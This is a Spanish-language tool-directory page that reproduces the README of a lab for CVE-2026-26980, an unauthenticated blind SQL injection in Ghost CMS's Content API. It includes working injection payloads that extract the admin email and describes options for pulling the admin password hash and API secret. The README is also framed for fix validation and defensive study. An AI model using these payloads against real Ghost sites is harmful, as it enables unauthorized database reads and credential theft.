Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ghost-cve-2026-26980 — CVE-2026-26980 — Laboratorio de inyección SQL en la API de contenido de Ghost CMS (SQLi ciega no autenticada mediante el ordenamiento del filtro slug) | Kitploit
Herramientas/GitHubGitHub/dinosn/ghost-cve-2026-26980
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Laboratorio de inyección SQL en la API de contenido de Ghost CMS (SQLi ciega no autenticada mediante el ordenamiento del filtro slug)

Ver Repositorio
162hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-26980 — Laboratorio de Inyección SQL en la Content API de Ghost CMS

Inyección SQL ciega no autenticada en Ghost CMS a través del mecanismo de ordenación del filtro de slug de la Content API, que permite lecturas arbitrarias de la base de datos desde cualquier instancia de Ghost sin credenciales.

CVECVE-2026-26980
AdvisoryGHSA-w52v-v783-gw97
CVSS9.4 (Crítico)
CWECWE-89 (Inyección SQL)
AfectadoGhost 3.24.0 -- 6.19.0
CorregidoGhost 6.19.1
Autenticación requeridaNinguna (la clave de la Content API es pública por diseño)
Crédito/ReferenciasNicholas Carlini usando Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Aviso legal -- Este laboratorio es solo para pruebas de seguridad autorizadas, educación e investigación defensiva. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

Descripción general

La Content API de Ghost admite el filtrado de etiquetas y publicaciones por slug mediante notación de arrays: filter=slug:[tag-a,tag-b]. Internamente, una función auxiliar construye una sentencia ORDER BY CASE para preservar el orden de slug solicitado. Antes de la v6.19.1, los valores de slug proporcionados por el usuario se interpolaban directamente en este SQL sin parametrización:

root@kitploit:~
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

La clave de la Content API está incrustada en el HTML de cada sitio Ghost (data-key="..."), lo que convierte esto en una superficie de ataque totalmente no autenticada.

Mecanismo de la vulnerabilidad

La evasión de NQL

El lenguaje de consultas NQL de Ghost valida la entrada del filtro y rechaza comillas simples o espacios sin procesar. Sin embargo, NQL acepta valores envueltos en comillas simples dentro de la notación de arrays (slug:['value']), pasando las comillas como parte del literal. La expresión regular slugFilterOrder extrae estos valores y los interpola — comillas incluidas — en el SQL:

root@kitploit:~
Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL pasa las comillas como caracteres literales

SQL generado

Después de la interpolación, el ORDER BY se convierte en:

root@kitploit:~
CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

En el modo SQL predeterminado de MySQL, || es OR y '' es falso. Esto nos da un oráculo booleano limpio:

CondiciónResultado del CASEEfecto
VERDADERO'' OR 0 OR '' = 0Respuesta normal (HTTP 200)
FALSO'' OR EXP(710) OR ''Error de desbordamiento DOUBLE (HTTP 500)

Extracción de datos

Con el oráculo establecido, se aplica la extracción ciega estándar por búsqueda binaria:

root@kitploit:~
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

La sintaxis SUBSTR(... FROM pos FOR len) evita las comas (que slugFilterOrder usa como separadores).

Capturas de pantalla

Oráculo booleano: condición VERDADERA (HTTP 200) vs condición FALSA (HTTP 500)

VERDADERO (1=1) → HTTP 200FALSO (1=0) → HTTP 500
VERDADEROFALSO

Extracción de datos por búsqueda binaria

Extracción de datos

Validación de la corrección: v6.18.0 vs v6.19.1

Validación de la corrección

Más capturas de pantalla

Interfaz de Ghost

Interfaz de Ghost

Clave de la Content API en el código fuente de la página

Clave de la API

Respuesta normal de la API

Solicitud normal

La corrección (v6.19.1)

La corrección reemplaza la interpolación de cadenas por enlaces parametrizados:

root@kitploit:~
// CORREGIDO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

El plugin crud.js se actualizó para pasar los enlaces a través de orderByRaw, y @tryghost/bookshelf-plugins se actualizó a 0.6.29, que añade soporte de enlaces.

Configuración del laboratorio

Requisitos previos

  • Docker y Docker Compose
  • Python 3.8+ con requests

Inicio rápido

root@kitploit:~
# Clona y entra en el laboratorio
git clone <this-repo> && cd ghost-cve-2026-26980

# Instala la dependencia de Python
pip install -r requirements.txt

# Inicia la instancia vulnerable de Ghost (6.18.0 + MySQL 8)
docker compose up -d

# Espera ~45 segundos a que Ghost se inicialice, luego ejecuta el exploit
python3 exploit.py --url http://localhost:2368

Validar la corrección

root@kitploit:~
# También inicia el Ghost 6.19.1 parcheado en el puerto 2369
docker compose --profile fixed up -d

# Espera ~45 segundos, luego confirma que la corrección bloquea la inyección
python3 exploit.py --url http://localhost:2369 --validate-fix

Validación con un solo comando

root@kitploit:~
bash validate.sh

Limpieza

root@kitploit:~
docker compose --profile fixed down -v

Uso del exploit

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL de Ghost (predeterminado: http://localhost:2368)
  --validate-fix       Confirma que el objetivo NO es vulnerable
  --extract-password   También extrae el hash bcrypt del administrador
  --extract-api-key    También extrae el secreto de la API del administrador
  --content-key KEY    Omite la configuración, usa esta clave de Content API directamente
  -v, --verbose        Muestra los resultados del oráculo por consulta

Ejemplo de salida

root@kitploit:~
====================================================
CVE-2026-26980 — Inyección SQL en la Content API de Ghost CMS
====================================================

[*] Esperando a que Ghost en http://localhost:2368 esté listo
[*] Configurando Ghost (admin: [email protected])
[+] Configuración completada — estableciendo sesión
[+] Sesión iniciada
[+] Clave de Content API: ad63c06a71457583ea58f050c1
[+] Slug ancla: news

[*] Fase 1 — verificación ciega booleana
  CASE WHEN 1=1:  200 (VERDADERO)
  CASE WHEN 1=0:  500 (FALSO)
  [+] Oráculo booleano confirmado — VULNERABLE

[*] Fase 2a — extrayendo el email del administrador
  Midiendo la longitud del email del administrador... 21 caracteres
  Extrayendo: [email protected]
  [+] Email: [email protected]

============================================================
  RESUMEN DE EXPLOTACIÓN
============================================================
  Objetivo:        http://localhost:2368
  CVE:             CVE-2026-26980
  Clave de contenido:   ad63c06a71457583ea58f050c1
  Email del admin:   [email protected]
============================================================

También corregido en v6.19.1: CVE-2026-29053 (RCE mediante temas)

Una segunda vulnerabilidad se parcheó en la misma versión. El helper Handlebars {{#get}} de Ghost usaba el paquete jsonpath (que depende de static-eval) para resolver expresiones de ruta. Los temas maliciosos podían crear expresiones que alcanzaran Function() mediante la travesía de prototipos, logrando ejecución de código en el servidor.

CVECVE-2026-29053
AfectadoGhost 0.7.2 -- 6.19.0
AutenticaciónAdministrador (subida de temas)
CorrecciónSe reemplazó jsonpath por una función restringida querySimplePath() que solo admite notación de puntos, [N] y [*]

Este laboratorio se centra en CVE-2026-26980 porque no requiere autenticación y tiene mayor impacto para atacantes externos.

Archivos

root@kitploit:~
.
├── README.md              # Este archivo
├── docker-compose.yml     # Ghost 6.18.0 (vulnerable) + 6.19.1 (corregido) con MySQL 8
├── exploit.py             # PoC completo: configuración, verificación, extracción
├── validate.sh            # Wrapper de validación de extremo a extremo
└── requirements.txt       # Dependencias de Python

Referencias

  • Advisory de seguridad de Ghost GHSA-w52v-v783-gw97
  • Entrada NVD CVE-2026-26980
  • Commit de corrección: Inyección SQL en la ordenación del filtro de slug de la Content API
  • Commit de corrección: Se reemplazó jsonpath por un resolvedor de rutas personalizado
  • Informe de CVE-2026-29053 (Hidden Investigations)

Licencia

Este laboratorio se proporciona con fines educativos y de pruebas de seguridad autorizadas bajo la Licencia MIT.

Descargar herramienta